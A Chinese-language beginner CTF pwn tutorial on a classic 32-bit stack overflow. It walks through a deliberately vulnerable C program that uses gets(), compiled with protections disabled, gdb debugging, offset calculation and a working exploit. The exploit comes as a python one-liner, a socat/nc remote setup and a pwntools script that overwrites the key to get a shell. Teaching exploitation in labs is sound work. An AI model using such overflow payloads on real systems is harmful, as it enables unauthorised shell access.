从0开始CTF-PWN（二）从PWN的HelloWorld-栈溢出开始

#include <stdio.h>#include <string.h>#include <stdlib.h>void func(int key){    char overflowme[32];    printf("overflow me : ");    gets(overflowme);    // smash me!    if(key == 0xcafebabe){        system("/bin/sh");    }    else{        printf("Nah..n");    }}int main(int argc, char* argv[]){    func(0xdeadbeef);    return 0;}

gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o bof_32-gcc4.8 bof.c

# 说明  1. 随着函数执行，地址从高地址向低地址增长。  2. esp寄存器指向栈顶。  3. 按先进后出原则，调用函数（caller）先入栈，被调用函数（callee）后入栈。

gdb -q bof_32-gcc4.8# 调试的一开始输入(gdb8.0以上版本必须加，否则会导致断点设置失败)(gdb) starti

# 查看main函数(gdb) disassemble main# 查看func函数(gdb) disassemble func

# 下断点(gdb) b *0x080491ef# 运行(gdb) r

(gdb) stack

(gdb) stepi

# 检查开启了哪些保护(gdb) checksec输出：CANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : Partial
# 对进程调试gdb attach [pid]
# 调试的一开始输入(gdb8.0以上版本必须加，否则会导致断点设置失败)starti# 查看main函数(gdb) disassemble main# 命令将函数代码和汇编指令映射起来disassemble /m func# 增加断点(gdb) b *[address]# 运行(gdb) r
# 查看esp内容（以16进制查看$esp地址处2个单位的内容，每个单位4个字节）(gdb) x/2wx $esp
# 显示寄存器指向的地址p $寄存器：显示寄存器指向的地址
# 显示寄存器内容用x命令可以显示内容，“x/格式 地址”。x $pc：显示程序指针内容x/i $pc：显示程序指针汇编。x/10i $pc：显示程序指针之后10条指令。
# 继续执行(gdb) c
# 单步调试(gdb) stepi或 单步过(gdb) ni或 单步入(gdb) si
# 显示当前所有寄存器的值(gdb) i r
# 设置自动显示接下来的要执行的3条指令(gdb) display /3i $eip
# 查询进程信息(一般运行一遍后会加载出libc)(gdb) info proc mappings / (gdb) info proc map——可以用于查找libc信息
# 从libc中查找关键字(gdb) find "/bin/sh"

(gdb) b *0x080491ef# 执行(gdb) r

(gdb) b *0x080491ba# 继续执行(gdb) c

(gdb) p/d 0xffffd610 - 0xffffd5e0# 显示$1 = 48

(python -c 'print "a"*48 + "xbexbaxfexca"'; cat -) | ./bof_32-gcc4.8

nohup socat tcp4-listen:5555,reuseaddr,fork exec:/home/pwn/test/bof_32-gcc4.8

(python -c 'print "a"*48+"xbexbaxfexca"'; cat -)|nc 10.211.55.6 5555

# coding:utf-8from pwn import *# 小端序转换函数def p32_trans_iso_8859_1(value):    result = p32(value).decode('iso-8859-1')    return result# 设置运行环境context(arch='amd64', os='linux')# process为本地程序，remote为远程调用c = process("./bof_32-gcc4.8")payload = 'A'*48 + p32_trans_iso_8859_1(0xcafebabe)#print payload# 向程序发送数据c.sendline(payload)# 获得shellc.interactive()